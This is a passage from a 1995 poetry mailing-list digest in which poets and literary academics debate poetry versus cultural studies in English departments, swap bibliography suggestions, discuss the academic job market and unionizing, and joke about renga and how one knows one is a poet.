>Concerned Citizen

One doesn't, Tom. That's the beauty of it, what gives the whole project its edge.

Steve

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423. **Maria Damon**
Re: Williams, W. C.
Tue 28 Nov 1995

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hey joe, where' re u going w/ that gun etc?
u wrote:
I'd say that declaring one's
profession as Professor of Poetry in polite conversation around the
Thanksgiving Turkey in 1995 doesn't get you very many more nods of approval
and tacit understanding than Williams's admission got him in 1954.

Joseph Conte

when i confess to same, people either tell me they're nuts about rita dove watch my reaction (i don't know what they're waiting for) or ask if i write my "own" stuff, not "just" criticism. then, have i been published. ooh, aah. i like to die of shame. hope all's well w/ you--md

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424. Chris Stroffolino
Re: Condition of Poetry in the Academy
Tue 28 Nov 1995

Well, I can't speak for others, but am happy to include myself in the "we" Jonathon Levin outlined---JL makes a good point, too, that I've been thinking about since Don Byrd suggested that "theory is very sexy today". For though it no doubt has its attractions, Levin is right that there are quite a few graduate students who ARE GOOD AT and who CAN PLAY the theory game, but feel pressured by their junior faculty (the last 4 or 5 hires at my institution are all primarily theory, for instance)--as well as by what they are told are THE DEMANDS OF THE MARKETPLACE that somehow they can't "get away" with literature, that they can't unless they want to be pegged a RIGHTEST.... So, I'm glad this is NOT a closed issue, and where there's hope there's doubt. And where there's detachment there's (fill in blank).... cs

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425. David Kellogg
Re: Condition of Poetry in the Academy
Tue 28 Nov 1995

On Tue, 28 Nov 1995, Susan Schultz wrote:

> *Can anyone suggest good books of cultural studies on poetry?*

Our own Maria Damon's THE DARK END OF THE STREET: MARGINS IN VANGUARD POETRY (have I got the title right) U Minnesota P;

Ross Talarico, SPREADING THE WORD: POETRY AND THE SURVIVAL OF COMMUNITY IN AMERICA, Duke UP.

Cheers,
David
~~~
~~~

426. **Chris Stroffolino**
Re: Condition of Poetry in the Academy
Tue 28 Nov 1995

Dear Susan Schultz----You say Garrett Hongo is praised as "radical despite his reliance on the lexicon of Keats and Shelley"----Oh, IF ONLY his lexicon and his syntax (to say little of his "intelligence" or "vision") WERE even as radical as Keats and Shelley still can be... Why blame THEM for the HONGOS of the world! cs.

↑ Index

427. **Jordan Davis**
Re: Question
Tue 28 Nov 1995

At 8:53 AM 11/28/95, H. T. KIRBY-SMITH wrote:
>No one really did ever answer the question about how one knows if one
>is a poet.

Are they rounding up the poets?
Jordan

↑ Index

428. **Susan Schultz**
Re: Condition of Poetry in the Academy
Tue 28 Nov 1995

Dear Chris--my comment was not meant as a put down of Keats and Shelley or their radicalism! It was just to say that their language seems counter-productive to Hongo's project, which is finding himself in Hawai'i; what is revolutionary in one context isn't necessarily in another(?). Susan

On Tue, 28 Nov 1995, Chris Stroffolino wrote:

> *Dear Susan Schultz----You say Garrett Hongo is praised as "radical despite his reliance on the lexicon of Keats and Shelley"----Oh, IF ONLY his lexicon and his syntax (to say little of his "intelligence" or "vision") WERE even as radical as Keats and Shelley still can be... Why blame THEM for the HONGOS of the world! cs.*

↑ Index

429. **Donald J. Byrd**
Re: Condition of Poetry in the Academy
Tue 28 Nov 1995

On Tue, 28 Nov 1995, Chris Stroffolino wrote:

> *there are quite a few graduate students who ARE GOOD AT and who CAN PLAY the theory game, but feel pressured by their junior faculty (the last 4 or 5 hires at my institution are all primarily theory, for instance)--as well as by what they are told are THE DEMANDS OF THE MARKETPLACE that somehow they can't "get away" with literature...*

I think graduate programs should make "Recent Trends in the Modern Language Job Market," by Bettina J. Huber, in the MLA publication, _Profession 94_. Its statistics are sobering, to be sure. From 88-89 to 93-94, the number of jobs decreased by half. It is also enlightening, however. In 1993, there were roughly as many jobs in Restoration and eighteenth-century lit as in literary and critical theory and cultural studies combined. Twice as many jobs in nineteenth-century British, and three times as many in Renaissance. Almost twice as many jobs for poets.

Don Byrd

↑ Index

430. **Maria Damon**
Re: Discipline and Categorize
Tue 28 Nov 1995

---

michael greer: welcome. how long have you been lurking? i like what u have to say.--md

↑ Index

431. **Maria Damon**
Re: Condition of Poetry in the Academy
Tue 28 Nov 1995

---

david kellog wrote:
On Sun, 26 Nov 1995, jeffrey timmons wrote:

[big snip]

> *I guess, what it comes down to is that I find it deeply surprising--if not a little disappointing--when so much scholarly work is written off as hating literature....*

I would like to second this position.

***me third.--md

↑ Index

432. **Maria Damon**
Re: Poetry/Fiction/Literature divisions
Tue 28 Nov 1995

---

luoma (great name) wrote:
md wrote:

> *c-word (culture, not capped) has a dubious reputation. . .*

That's what we used to call Steven Greenblat's mag (Reputations).

***yeah, they only publish each other for the most part, with a few notable exceptions.--md

↑ Index

433. **Maria Damon**
Re: for now
Tue 28 Nov 1995

---

i'd rather be a "Geiser," not to mention a geyser, than a geezer, guyzies!--md

↑ Index

434. **Maria Damon**
Re: Question
Tue 28 Nov 1995

---

tks writes:
>No one really did ever answer the question about how one knows if one
>is a poet.

***how about, as in current methods of treating alcoholism, one is a poet if one declares oneself so? one can be encouraged by others to see oneself as a poet, but one has to take that big step of self-realization all alone. (ooohhh). otherwise, it seems, we can run into some sticky things like ethnopoetics, in which texts or utterances not intended to be "poetry" in the way we conceive of it (for aesthetic pleasure) can be pressed into such service, possibly altering its original function --again --did i post this bfre? i was asked, lo these many years at my oral exams, what if a hunting song used for dog magic was anthologized as a "poem" --would that dilute its ability to function as dog magic?--md

↑ Index

435. **Maria Damon**
Re: The break you're seeking
Tue 28 Nov 1995

---

joe amato writes:
academic
professionals, for example, OUGHT to consider [gasp] unionizing...

***YES YES YES--md

↑ Index

436. **Maria Damon**
Re: The break you're seeking
Tue 28 Nov 1995

---

ron writes, among other things:

But in the academy, and in the professions generally, there is an enormous amount of barely concealed emotion that leaks out as "professionalism" and this mode of despair (which is how I read it) is one such possible emotion. Which is why I passed on law school. *** i really agree with you. and the weird thing is, that since a straightforward appreciation of subject matter can't be admitted, it comes out in the creepiest blend of sanctimoniousness and humility, the whole handmaid to genius thing, which is simultaneously a form of contempt. and in fact, i think one reason most of the g-students i studied with and now teach prefer fiction to poetry is precisely that it enables a cheesy sort of identification process on the most unexamined kind (confusing fictions characters with real people, for example) that they then vehemently check themselves on and disavow. like parents afraid to "give in" to their love for their kids or something. i'm puzzled abt why you admire cary nelson so much. his work is okay, but to single him out as having written the best thing on poetry ...and andrew ross. i wish he were more invested in his subject matter. in fact, at that big cult stud conference at illinois in 1990, donna haraway said that the best work comes out of writing on something one is emotionally or otherwise "personally" invested in. she was on a panel w/ ross, and afterwards someone put him on the spot by asking what his personal connection to his work was, and he was actually somewhat weak in his answer, evasive almost. he's an elegant writer and he's never exactly wrong, but his sweep is so enormous that he doesn't seem to really grok any one phenomenon. i also really appreciate what you say about benjamin etc --they did what they did not for their "careers" but out of a sense of love and urgency --je dis hurrah!--md

↑ Index

437. **Maria Damon**
susAN SCHULTZ'S dept
Tue 28 Nov 1995

susan, i so identify with the departmental situation yr describing ! and the unthinking assumption that, tho the novel i a strictly western industrial form, that it's the foremost vehicle for exploring whatever non-Western cultures or minority cultures w/in the western world have to say--irritating --md

↑ Index

438. **Maria Damon**
Re: Condition of Poetry in the Academy
Tue 28 Nov 1995

dkellog writes:
On Tue, 28 Nov 1995, Susan Schultz wrote:

> *Can anyone suggest good books of cultural studies on poetry?*

Our own Maria Damon's THE DARK END OF THE STREET: MARGINS IN american
VANGUARD
POETRY (have I got the title right) U Minnesota P;

Ross Talarico, SPREADING THE WORD: POETRY AND THE SURVIVAL OF COMMUNITY IN AMERICA, Duke UP.

***thanks for the plug dk, i'm very fond of my book, tho the introduction is kinda clumsy --i'd like to add essays and books, if possible, to yr list:
Walter Benjamin's "On Some Motifs in Baudelaire" --magnificent and unsurpassed! (in Illuminations, Schocken bks)
Henry Louis Gates, Jr, the first few chapters of The Signifying Monkey. (oxford)
Steven Caton, Peaks of Yemen I Summon: Poetry as Social Practice in a Northern Yemeni Tribe (Calif.)
Lila Abu-Lughod (sp?), Veiled Sentiments: Honor and Poetry in Bedouin Society (Calif).
"The Pure Products Go Crazy," intro to James Clifford's The Predicament of Culture (Harvard)
various writings by Gordon Rolehr and (Edward) Kamau Brathwaite on caribbean
culture/poetry.
Cary Nelson (who late i spoke of in tempered tones) Repression and Recovery (Wisconsin?)
Walter Kalaidjian, American Culture Between the Wars: Revisionary Modernism

and Postmodern Critique. (Columbia)
Theodor Adorno, "Lyric Poetry and Society"
 a coupla chapters of Benjamin Harshav's The Meaning of Yiddish (Cal)
Americo Paredes, don't know the title of this piece, saw it presented at Stanford in mid-late 1980s, on a particular Mexican ballad and its role in organizing certain Chicano families' relations to each other.
parts of Houston Baker's The Harlem Renaissance
Marc Zimmerman and Neil Larsen, or is it John Beverly, on Latin American revolutionary poetry --
Jose Limon, Mexican Ballads and Chicano Poetry (much too Bloomian, not "cultural" enough for my taste, but it exists)

i'd love to see a working bibliography grow here --then we can put out a multi-authored anthology of poetry/cultural studies texts --that'll really wow our colleagues on both sides of the illusory divide. any other contributions? --md

↑ Index

439. jeffrey timmons
Re: Question
Tue 28 Nov 1995

On Tue, 28 Nov 1995, H. T. KIRBY-SMITH wrote:

> *No one really did ever answer the question about how one knows if one is a poet.*

How about the de beauvoir answer?: a poet is made not born (paraphrase).

the foucault answer?: a poet is an effect of linguistic signs, and s/he
will certainly pass away as the particular
codifications of knowledge-power that we knew as
"poet" . . . .

the beckett answer?: how can i be a poet? i'll be a poet....

Jeffrey Timmons

↑ Index

440. jeffrey timmons
Re: Theory etc.
Tue 28 Nov 1995

On Tue, 28 Nov 1995, Judy Roitman wrote:

> *I've spent 25 years in the academy, and the shifts of FASHION begin to look like toddlers racing through rooms disorienting any grown-ups trying to focus (and ultimately destroying the very perps themselves)...*

Fashion, toddlers, grown-ups trying to focus? This vocabulary needs interrogation, I believe.

Jeffrey Timmons

↑ Index

441. **Chris Stroffolino**
Re: Theory etc.
Tue 28 Nov 1995

Jeffrey T---Does Judy R's vocabulary need interrogation--or perhaps to be fleshed out? What is a PERP? Anyway? Fashion IS a toddler toddling through a world of grown-ups like the wind through an aoelian harp bought at Wallmart. And there are so many of them it's really hard to get one's beauty sleep which one needs especially as a grown-up and since Abigail Child is the father of De Man certainly everything will appear out of focus as in Marx's camera oscura which we were minding our business, interrogating, BUT IT'S TOLD US NOTHING and we relented until the fashionable toddlers decided to take the form of the turkey at the center of the yuppie mainstream bourgeois table that so tortured Joe Conte and so we decided to boycott the holidays whose false totalizing teleological standards of functional reality leave us in the lurch so in a defensive move we all start claiming WE ARE POETS! WE WILL INHERIT THE HEARTH! as a an attempt to have something to cling on now that we've gone cold turkey. This too all needs to be severely interrogated.....cs

↑ Index

442. **jeffrey timmons**
Re: Condition of Poetry in the Academy
Tue 28 Nov 1995

On Tue, 28 Nov 1995, Maria Damon wrote:

> *i'd love to see a working bibliography grow here --then we can put out a multi-authored anthology of poetry/cultural studies texts --that'll really wow our colleagues on both sides of the illusory divide. any other contributions? --md*

Excellent idea.

Jeffrey Timmons

↑ Index

443. **jeffrey timmons**
Re: Theory etc.
Tue 28 Nov 1995

---

chris

ha-ha-ha.... ha-ha...

jeffrey

↑ Index

444. **jeffrey timmons**
Re: Theory etc.
Tue 28 Nov 1995

---

chris, hope you dont mind:

vocabulary [interrogation]

Fashion IS a toddler toddling through a world of grown-ups
the wind through an aoelian harp bought at Wallmart
there are so many of them

it's really hard to get one's beauty sleep
which one needs especially as a grown-up

Abigail Child is the father of De Man

everything will appear out of focus

Marx's camera obscura

we were minding our business
interrogating
BUT IT'S TOLD US NOTHING
we relented

fashionable toddlers
turkey at the center

the yuppie mainstream bourgeois table

tortured Joe Conte

we decided to boycott the holidays
false totalizing teleological standards
functional reality

leave us in the lurch
a defensive move

WE ARE POETS!
WE WILL INHERIT THE HEARTH!

an attempt to cling on
now we've gone cold turkey

This needs to be severely interrogated

↑ Index

445. **Tony Green**
Re: POETICS Digest - 25 Nov 1995 to 26 Nov 1995
Tue 28 Nov 1995

Re- contemporary writing as distinct from "historical texts", in Wystan Curnow's posting, same applies in Art History: where historians are engaged with contemporary activity as curators, essayists, critics or as is occasionally the case ambitious and competitive practitioners, then the chances are historical art will not simply be more grist to social history/new art history or illustration or chopping block for theory. But also the chances are they will be regarded as some kinds of weirdos by art historians not engaged with contemporary art activities. It seems to me that there is a real problem for academics when engaged as writers/artists, or should that be a real problem for "artists" when diverted into academic work?

Tony Green,
e-mail: [redacted]

↑ Index

446. **Charles Alexander**
Re: for now
Tue 28 Nov 1995

> *i'd rather be a "Geiser," not to mention a geyser, than a geezer, guyzies!--md*

golly, mickey

goofy

↑ Index

447. **Charles Alexander**
Re: The break you're seeking
Tue 28 Nov 1995

> *ron writes, among other things:*
>
> *But in the academy, and in the professions generally, there is an enormous amount of barely concealed emotion that leaks out as "professionalism" and this mode of despair (which is how I read it) is one such possible emotion. Which is why I passed on law school.*

This, and Ron's other comments, and some by others reminds me of being in grad school in English, where one professor, who was head of graduate studies in English, told me that one should not write about literature one likes, because one could not be objective enough about it. The same man also discouraged grad students from pursuing Spanish as their foreign language because, he said, "Spanish is not a literary language." One can only speculate what he could have meant by that.

Another professor, one closest in that department to my own concerns, discouraged me from reading Denise Levertov because she was, as he said, too easy. And he discouraged me from pursuing a reading of Zukofsky and Duncan because he said they were too difficult.

And one fellow grad student confessed to me that he really wanted to be a novelist, and that he had all the technique in the world to do so, but just didn't have the "ideas."

So I managed to study some in a Comp. Lit. department which was friendly to theory (this was about 1977-78), where I could read Olson & Duncan in the same class as Adorno & Habermas and was encouraged to think about that mix. But alas, in a place where teaching assistants were unionized, the comp. lit. professor who encouraged such invigorating reading was also one of the two or three profs at the university who spoke out on behalf of striking teaching assistants, and he was one of the two or three profs who subsequently was denied tenure and sent packing despite the support of his own department as well as his own rather stunning credentials.

Yes, there are reasons why Ron didn't go to law school, and why I left grad school in a rush (my letter of resignation from a teaching assistantship was a four-line poem -- still don't know what anyone thought of that) -- but I do still find this ongoing discussion of theory/literature/professionalism/etc. rather fascinating.

charles

Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

↑ Index

448. Susan Schultz

Re: Condition of Poetry in the Academy

Tue 28 Nov 1995

Dear Maria--thanks for the bibliography. I hope others will add to it. Your idea about an anthology of cultural studies/poetry work is marvelous.

Susan

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449. Charles Alexander

Re: Condition of Poetry in the Academy

Tue 28 Nov 1995

> *On Tue, 28 Nov 1995, Maria Damon wrote:*
>
> *i'd love to see a working bibliography grow here --then we can put out a multi-authored anthology of poetry/cultural studies texts --that'll really wow our colleagues on both sides of the illusory divide. any other contributions? --md*
>
> *Excellent idea.*

I'd add much of the very specific and careful work written and/or edited by Larry Evers in the Sun Tracks series from the University of Arizona Press, but perhaps most compelling, Yaqui Dear Songs/Maso Bwikam: A Native American Poetry, by Larry Evers and Felipe S. Molina. 1987. Tucson. University of Arizona Press.

and Evers & Molina's "How the Coyotes Came Back to Old Pascua," which is the introduction to Wo'i Bwikam/Coyote Songs: from the Yaqui Bow Leaders' Society, recorded, edited, and annotated by Evers & Molina. 1990. Tucson. Chax Press.

charles alexander

↑ Index

450. **Chris Stroffolino**
Re: The break you're seeking
Wed 29 Nov 1995

Hey Charles (A. not lurker B.)---send that four line resignation poem to the list, pretty please---WE MAY HAVE NEED OF IT SOMEDAY. I promise not to start a renga with it. cs.

↑ Index

451. **Chris Stroffolino**
Re: Theory etc.
Wed 29 Nov 1995

Oh Jeffrey--with your brains, my brawn and Judy R's vocabulary, just
think of cultural stud(ie)s we could toddle!
your in aesthetic eugenics, cs

↑ Index

452. **Marjorie Perloff**
Re: Poetry and Cultural Studies5
Wed 29 Nov 1995

I'd add to the list:
Christopher Beach (ABC of Influence) is finishing up a book on the culture of contemporary poetry which promises to be very good

Jed Rasula (of course!), GREAT AMERICAN POETRY WAX MUSEUM

Charles Bernstein, A POETICS (for me still the best "cultural studies" book on poetry although not billed as such).

Ron Silliman, THE NEW SENTENCE

Bob Perelman, THE TROUBLE WITH GENIUS

Steve McCaffery--pretty much anything

Symposia on Women & Culture in various mags: Meaning, Raddle Moon, Tessera.

Johanna Drucker's writings are totally pertinent.

I don't know about being Helen Vendler's evil twin, David. What does that mean exactly?

Re: the larger issue of poetry and cultural studies. Maria is right that the British school (Stuart Hall) did really important work. But their situation was quite different from our current one. Hall, Hebdidge and co. were breaking

away from the stultifying British canon which did not go beyond Eliot (still doesn't) and wanted to bring popular culture into the discussion. It was very liberating but in so doing they had no truck with any "literature" at all, least of all poetry. Dick Hebdidge, now at Cal Arts as Dean, still follows this idea and is leary of inviting poets. So I'm wary of the "if you can't beat it, join it" school. What's urgently needed in our situation is just more attention to reading. I find that even the smart grad students here have a lot of trouble with it. We've been reading THE BIRTHMARK by Susan HOwe. They'll talk about her representation of Mary Hutchinson of what she "thinks" about Cotton Mather but they don't look at the way that book is actually put together or how it works, rather than what it "says." And I think this is because in our own so-called "cultural studies," too often it's just old-fashioned subject-matter criticism: e.g., breast-feeding between 1800-1840. Which means that the novel in question (say, Charlotte Bronte's VILLETTE) is mined for what it "says" about nursing and motherhood and then those statements are compared to statements about nursing in non-fictional books of the period. The result, after a while, is that we don't need literature at all.

A bunch of us are doing a session on Hejinian's MY LIFE at this year's ACLA comparing philosophical to cultural studies approaches since the topic for the conference is "Literature between Philosophy and Cultural Studies"--Roland Greene, for instance, is going to do a paper on class and gender positioning in that book--should be quite interesting.

As for the story David Kellogg tells about people asking him what poets he likes, that's just conversation meant to cover up ignorance; since they never read anything written in last 50 years or so it's a way of generating names, that's all. It's not very different from what went on at Harvard early in the century. James Laughlin always tells the story about being in Robert Hillyer's poetry class in the late twenties where the names Eliot and Pound were taboo and one studied "respectable" poets of a previous era. Is it really all that different now?

Marjorie

↑ Index

453. **Aldon L. Nielsen**
Re: To Paul
Wed 29 Nov 1995

---

both in fact,,,, writing a book on James that is now overdue, and as a result rereading available books on James --

wasn't looking at Britain to Caribbean at all, but Caribbean influence on emergence of cultural studies in England, which is direct result, not

surprisingly, of influx of Caribbean intellectuals -- James is there in the thirties working with the Independent Labor Party and forming committees for the defense of Abyssinia -- produces play with Paul Robeson in London -- etc. -- post WWII generations pick up on his earlier work, then _Beyond a Boundary_ lands in the middle of developing Cultural Studies a la Birmingham --

the thesis on the Caribbean and postmodernity sounds like an update of James's (_Black Jacobins_) and DuBois's (_Black Reconstruction_) thesis that, as a result of the rupture of middle passage and the new modes of labor organization in the Americas, African-Americans are among the first "modern" peoples --

realize that this is akin to old arguments to the effect that modernism was really just more romanticism, or that all the moderns were really postmoderns -- but there is some use to this way of looking at labor in the Americas, I think --

↑ Index

454. R I Caddel

Pearl

Wed 29 Nov 1995

"All my words are homeless."

Can't remember if I plugged this one before: New from Equipage [c/o Rod Mengham, Jesus College, Cambridge CB5 8BL] is Barry MacSweeney's "Pearl" at three quid plus postage. It's the best thing Barry's done in years. If I did mention it before, and you ordered it then, why not order another copy now?

x x x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

↑ Index

455. Michael Boughn

Re: Question

Wed 29 Nov 1995

> *No one really did ever answer the question about how one knows if one is a poet.*
>
> *Tom Kirby-Smith*
> *Concerned Citizen*

One writes poems.

Mike
[redacted]

↑ Index

456. David Kellogg
Re: Poetry and Cultural Studies5
Wed 29 Nov 1995

On Tue, 28 Nov 1995, Marjorie Perloff wrote:

> *I don't know about being Helen Vendler's evil twin, David. What does that mean exactly?*

No no no. You're the good twin, Vendler's the evil twin. I should have phrased it better.

As a biological (identical) twin myself, I am fond of the metaphor. What I mean by the twin fantasy changes, but basically I see you and Vendler occupying similar structural positions in the academy as ambassadors for contemporary poetry; that structural similarity means that your work and Vendler's can sometimes seem to me to advocate different "sides" in the same "game." I'm not saying that the differences between you are *actually* surface differences; rather, that some deep differences in one view *become* surface disagreements in another.

Wow, it's weird to talk to you directly about this (even in a semipublic space), since it touches on issues I've been thinking about for some time in "private."

Cheers,
David
~~~
~~~

But I have a few questions prompted in part by Joe Amato's post on his institution, which spoke of his institution and my former colleague Jim Sosnoski's book on the profession. To be clear: I'm not against cult studies.

1) What departments of English out there are actually organized as cultural studies programs? This is not the same thing as departments in which some people are doing something called "cultural studies."

2) To what extent is the interest in "cultural work"--to use the refrain--a response to extra-academic pressures insisting that "we" (academics) offer more in the way of "service" (as also in undergraduate teaching). That is, if the "discipline" of literary studies has lost some of its credibility and/or purpose (in the public eye) one response might be to crash the old disciplinary boundaries. (The current job situation would be relevant here too.) Or, if cultural studies is not a response to a demand for service that doesn't accept the production of knowledge about literature as adequate/useful/ important "service," what might it contribute by way of an answer to the great unwashed asking us hey dudes what is it that you do and why should I care and send my tax dollars to support it? Somebody--Marjorie maybe-- mentioned that John Guillory thinks what we do--the service we offer, one might say, to use the obnoxious lingo--is teach people how to read. (Frank Kermode made the same argument years ago.) At my institution, some of the biggest promoters of cultural studies are the composition/rhetoric faculty, and, as literature jobs have declined, our literature faculty have been anxious to create for graduate students the possibility of a double major in comp/rhet and lit, crossing sub-disciplinary boundaries because they are now "irrelevant," which too often means simply that the lit folks have a much harder time getting jobs. And comp/rhet is something the great unwashed have little trouble understanding as "service"--English departments teach "writing."

Just a couple of questions: wish they were better ones.

--Keith Tuma

↑ Index

458. FUNKHOUSER CHRISTOPH

Barabajan Poems

Wed 29 Nov 1995

Susan,

The Brathwaite title, BARABAJAN POEMS, isn't all that "new" (it came out in *early* '94)--it just hasn't been distributed Anywhere. It's also quite pricey, but worth it. Send $25 to Savacou North c/o Dept. of Comparative Literature, New York University, NY, NY 10003

I used the text in a course last fall, & the students totally loved this "Sycorax video-style" epic.

Dig it,

-chris f

↑ Index

459. Paul Naylor ok 157602

Brathwaite's book

Wed 29 Nov 1995

Susan -- Kamau Brathwaite's _Barabajan Poems_ is available from Savacou North, c/o Department of Comparative Literature, New York University, New York, New York 10003.

It's a beautiful book, but perhaps it's a visible sign of the split between poetry and culture studies that the book doesn't have a distributor, let alone a major publisher. Am I wrong in suspecting that a major academic press would publish a book about Brathwaite in a heartbeat but would not even consider publishing a book by Brathwaite?

Paul Naylor
MAIL
SEND
in@"[redacted]"
in@"[redacted]"

SEND
in@"[redacted]"
in@"[redacted]"

↑ Index

460. Daniel Bouchard/College/hmco

Re: Poetry and Cultural Studies5

Wed 29 Nov 1995

> *You're the good twin, Vendler's the evil twin.*

The further I get away from graduate school, the brighter the beacon of academia shines.

I've never been to an MLA conference but I can now clearly picture the paper presenters walking to and fro, asking of each other, "Are you a good witch, or a bad witch?," while munching on a tuna-melt sandwich.

And when I imagine all that intellectual energy venturing outside, self-conscious of its ability with language, blushing if it "knows" it is a poet, (or not)

and seeking out the professor-ish version of CO-DEPENDENT NO MORE from an otherwise shamefully stocked Borders or Barnes/Noble, then I truly regret my contemplation of law school.

[redacted]

↑ Index

461. **Jordan Davis**
Re: Brathwaite's book
Wed 29 Nov 1995

At 8:23 AM 11/29/95, Paul Naylor ok 157602 wrote:
Am I wrong in suspecting that a major academic press would
>publish a book about Brathwaite in a heartbeat but would not even consider
>publishing a book by Brathwaite?

Sorry to be a pedant again, but didn't
Oxfrd do the arrivants?

Jordan

↑ Index

462. **Bill Luoma**
working bibliography
Wed 29 Nov 1995

> *Can anyone suggest good books of cultural studies on poetry?*

Kristen Ross wrote some excellent material on Rimbaud. Steve knows the title.

***
re: recent primacy of poetry discussion:

What are people really saying here? That it's preferable to studdy/analyze/work on a poetic text? Certainly schilars tend to focus more on fiction, but why is everyone saying that the written text must be the prime mover? I mean the thing that makes Benjamin so amazing is that he wrote about shopping malls.

I think about how to write "poetry" too much and what to write about too much. I would not take kindly to people suggesting that there is a proper and fit prime mover to start with. It's anything. Schilarship should be similar, know? Isn't it all writing? What is poetry anyway? It sounds like everyone is really sure they know.

Bill Luoma

↑ Index

463. Daniel Bouchard/College/hmco
Re: working bibliography
Wed 29 Nov 1995

Bill,

Are you suggesting that people are trying to formulate a kind of Schilarship's List where only X amount of crit books can escape from the cultural void but only if those texts labor in Schilar's personal fog factory?

[redacted]

↑ Index

464. Jordan Davis
needs work
Wed 29 Nov 1995

At 10:17 AM 11/29/95, Bill Luoma wrote:
>I think about how to write "poetry" too much and what to write about too
>much. I would not take kindly to people suggesting that there is a proper
>and fit prime mover to start with. It's anything. Schilarship should be
>similar, know? Isn't it all writing? What is poetry anyway? It sounds like
>everyone is really sure they know.

I don't know if it's "anything". I think the convention of poetry including "anything" usually reduces to a kaleidoscopic one-of-everything (shopping-mall) method/motif. At least it did for me when I realized poetry was anything. There seem to be other overriding conventions that determine what's taken by other readers (intelligent, questioning, reasonable readers) as "good poetry" or "the work". Your humility is pretty great, Bill, and only you know for sure whether there's truth value there, but _I_ don't think you think _too much_ about poetry. That is, you may be thinking _too hard_ about it, but it's what characterizes you as a poet (for me) that you do think so much about how to write poetry. Paul Valery said that it's not true that people don't like poetry--People, generally, do like poetry--but not everybody _needs_ poetry. So.. what the seemingly anti-cult studs folk want it seems to me is for more people to "need" poetry in that valerian way, which may be like saying "fall in love dammit." Or "admire purple".

***
'd like to reiterate my request for examples of good endings.

***
what does an acceptable academic essay look like? (seriously)

Jordan

↑ Index

465. **Kenneth Sherwood**
EPCLIVE transcripts and happenings
Wed 29 Nov 1995

The second session of EPCLIVE took place last night. It was a pleasure to be joined by several @poetics sorts. Next monday will be an "Open Field" event, which means giving over the space to collective improvisation. (Moreso than usual, that is.)

In case anyone here is interested in seeing the 'results' of one of these events, the transcripts are now posted in the EPC. Browse your way over to http://writing.upenn.edu/epc/epclive

A session with Pierre Joris and Jerome Rothenberg is upcoming this month. Be assured, great fun will be had by all!

December
4 Open Field
11 Event--Poems for the Millennium: a discussion with Pierre Joris and Jerome Rothenberg on their newly released anthology of Modern and Postmodern Poetry.
18 Open Field

Check out the epclive pages for further information on events, how to IRC etc.

k.s.
[redacted]

↑ Index

466. **Judy Roitman**
Re: The break you're seeking
Wed 29 Nov 1995

> *joe amato writes:*
> *academic*
> *professionals, for example, OUGHT to consider [gasp] unionizing...*
>
> ****YES YES YES--md*

And across disciplines. It's the same across the board -- exploitation of the young, genuine and helpless concern mixed with residual smugness in the professional organizations, cluelessness from the prestigious institutions, financial pressure, lack of public support for public institutions...

Are people aware that U. of Rochester is terminating its comp lit PhD along with three other PhD programs?

↑ Index

467. **Daniel Bouchard/College/hmco**
Re: The break you're seeking
Wed 29 Nov 1995

---

joe amato writes:
>academic
>professionals, for example, OUGHT to consider [gasp] unionizing...
>
>***YES YES YES--md

> *And across disciplines. It's the same across the board -- exploitation of the young, genuine and helpless concern mixed with residual smugness in the professional organizations, cluelessness from the prestigious institutions, financial pressure, lack of public support for public institutions...*
>
> *Are people aware that U. of Rochester is terminating its comp lit PhD along with three other PhD programs?*

WHAT would happen should "literature" ever find itself excluded from higher education? Seriously.

[redacted]

↑ Index

468. **Rod Smith**
Re: Brathwaite's book
Wed 29 Nov 1995

>Am I wrong in suspecting that a major academic press would
publish a book about Brathwaite in a heartbeat but would not >even consider
>publishing a book by Brathwaite?

Actually he's had books from Oxford, U. Michigan, & most recently New Directions. Speculating now, but I think Savacou North, which is his press I believe, or him and others, did _Barbajan Poems_ because of the size & complexity of it. I.e., think he wanted to make sure it was done right. & I believe, the reason it's not distributed is an attempt to recoup the cost of production. Can't remember what I paid for it, but it's in the 25-30 dollar range. Brathwaite's _Trenchtown Rock_ is fairly recent from Lost Roads, also worth getting.

Rod

↑ Index

469. **David Kellogg**
Re: working bibliography
Wed 29 Nov 1995

On Wed, 29 Nov 1995, Bill Luoma wrote:

> *Kristen Ross wrote some excellent material on Rimbaud. Steve knows the title.*

RIMBAUD AND SOCIAL SPACE.

Cheers,
David
~~~
~~~

Being a thoroghgoing relativist meself, "good" and "evil" don't hold a lot of weight for me.

I'm not sure I understand Daniel Bouchard's post; his description of MLA is pretty accurate, but I think he misreads my tone in his haste to score a point. Perhaps I should stick with smiley faces.

Cheers,
David
~~~
~~~

473. Robert Drake
Re: needs work
Wed 29 Nov 1995

> *what does an acceptable academic essay look like?*

To Start: It Has a Colon In Its Title

↑ Index

474. Jorge Guitart
Re: Poetics of renga
Wed 29 Nov 1995

I agree with my renga bro Tom.

One kind of unique thing about the renga is that it lets you see immediately the influence you have on others and lets you report immediately the influence that others have on you.

Jorge

On Tue, 28 Nov 1995, Thomas Bell wrote:

> *After being involved with this renga business for awhile, I have realized that it is probably the first truly new form to arise from electronic transmission. This type of collaboration would not be possible in print. Even FEDEXED the time would be prohibitive. Print would also allow too much time for reflection and the responses would be thought over rather than spontaneous and improvisational. When I download a sequence and give it some thought before uploading and posting I find myself trying too hard to be clever and impress, bizarre as that seems.*
>
> *Am I correct in asserting that it is the first new form?*
>
> *Other participants - do you share my feelings about offline and online responding?*
>
> *Tom*

↑ Index

475. Charles Alexander
Re: The break you're seeking
Wed 29 Nov 1995

> *Hey Charles (A. not lurker B.)---send that four line resignation poem*
> *to the list, pretty please---WE MAY HAVE NEED OF IT SOMEDAY.*
> *I promise not to start a renga with it. cs.*

I remember the poem, which was simply

long time gone

no sorrow

won't be back

tomorrow

But what I can't remember and don't have a record of (we're talking 1980 here) is the footnotes. The four lines had 7 footnotes explaining various points. I don't imagine the english department was amused. The long time gone was about a semester leave of absence I had taken to begin study of book arts in the art department.

charles

↑ Index

476. Judy Roitman
Re: Poetics of renga
Wed 29 Nov 1995

> *I agree with my renga bro Tom.*
>
> *One kind of unique thing about the renga is that it lets you see immediately the influence you have on others and lets you report immediately the influence that others have on you.*
>
> *Jorge*
>
> *On Tue, 28 Nov 1995, Thomas Bell wrote:*
>
